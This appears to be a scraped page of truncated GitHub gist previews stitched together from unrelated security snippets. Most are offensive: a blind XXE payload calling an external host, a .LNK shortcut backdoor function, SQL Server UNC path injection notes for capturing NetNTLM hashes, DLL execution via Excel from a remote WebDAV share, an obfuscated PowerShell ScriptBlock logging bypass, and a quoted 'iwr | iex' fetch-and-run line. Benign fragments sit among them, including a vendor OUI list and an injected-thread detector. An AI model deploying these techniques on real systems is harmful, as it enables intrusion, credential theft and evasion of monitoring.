karronoli

@if(0)==(0) @echo off & rem -*- Javascript -*-
CScript.exe //NoLogo //E:JScript "%~f0" %*
exit /b 0
@end

var excel = new ActiveXObject("Excel.Application"),
    WshShell = WScript.CreateObject("WScript.Shell"),
    BIN_DIR = WScript.ScriptFullName.replace(WScript.ScriptName, "");
    WINDOW_CLASS = "HTML Application Host Window Class",
    //WINDOW_CLASS = "Internet Explorer_Server",

staaldraad

--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

ccammilleri

set PROMPT %red%L %yel%J %grn%S %blu%W
load nessus
load pentest
load sounds
load alias
alias j "jobs -v"
alias s "sessions -v"
alias -f w "workspace"
alias so "show options"
alias sa "show advanced"

alirobe

### 
###
### UPDATE: For Win 11, I recommend using this tool in place of this script: 
### https://christitus.com/windows-tool/
### https://github.com/ChrisTitusTech/winutil
### https://www.youtube.com/watch?v=6UQZ5oQg8XA
### iwr -useb https://christitus.com/win | iex
###
###

HarmJ0y

function Set-LNKBackdoor {
<#
    .SYNOPSIS
    
        Backdoors an existing .LNK shortcut to trigger the original binary and a payload specified by
        -ScriptBlock or -Command.

        Author: @harmj0y
        License: BSD 3-Clause
        Required Dependencies: None

nullbind

This is a list of SQL Server commands that support UNC path [injections] by default.
The injections can be used to capture or replay the NetNTLM password hash of the
Windows account used to run the SQL Server service. The SQL Server service account 
has sysadmin privileges by default in all versions of SQL Server.

Note: This list is most likely not complete.

-----------------------------------------------------------------------
-- UNC Path Injections Executable by the Public Fixed Server Role 
-----------------------------------------------------------------------

aallan

000000	Officially Xerox
000001	SuperLAN-2U
000002	BBN (was internal usage only, no longer used)
000003	XEROX CORPORATION
000004	XEROX CORPORATION
000005	XEROX CORPORATION
000006	XEROX CORPORATION
000007	XEROX CORPORATION
000008	XEROX CORPORATION
000009	powerpipes?

ryhanson

DLL Execution via Excel.Application RegisterXLL() method

A DLL can be loaded and executed via Excel by initializing the Excel.Application COM object and passing a DLL to the RegisterXLL method. The DLL path does not need to be local, it can also be a UNC path that points to a remote WebDAV server.

When delivering via WebDAV, it should be noted that the DLL is still written to disk but the dropped file is not the one loaded in to the process. This is the case for any file downloaded via WebDAV, and they are stored at: C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV\.

The RegisterXLL function expects an XLL add-in which is essentially a specially crafted DLL with specific exports. More info on XLL's can be found on MSDN

The XLL can also be executed by double-clicking the .xll file, however there is a security warning. @rxwx has more notes on this here inc

jaredcatkinson

function Get-InjectedThread
{
    <# 
    
    .SYNOPSIS 
    
    Looks for threads that were created as a result of code injection.
    
    .DESCRIPTION
    

cobbr

# ScriptBlock Logging Bypass
# @cobbr_io

$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static')
If ($GroupPolicyField) {
    $GroupPolicyCache = $GroupPolicyField.GetValue($null)
    If ($GroupPolicyCache['ScriptB'+'lockLogging']) {
        $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0
        $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
    }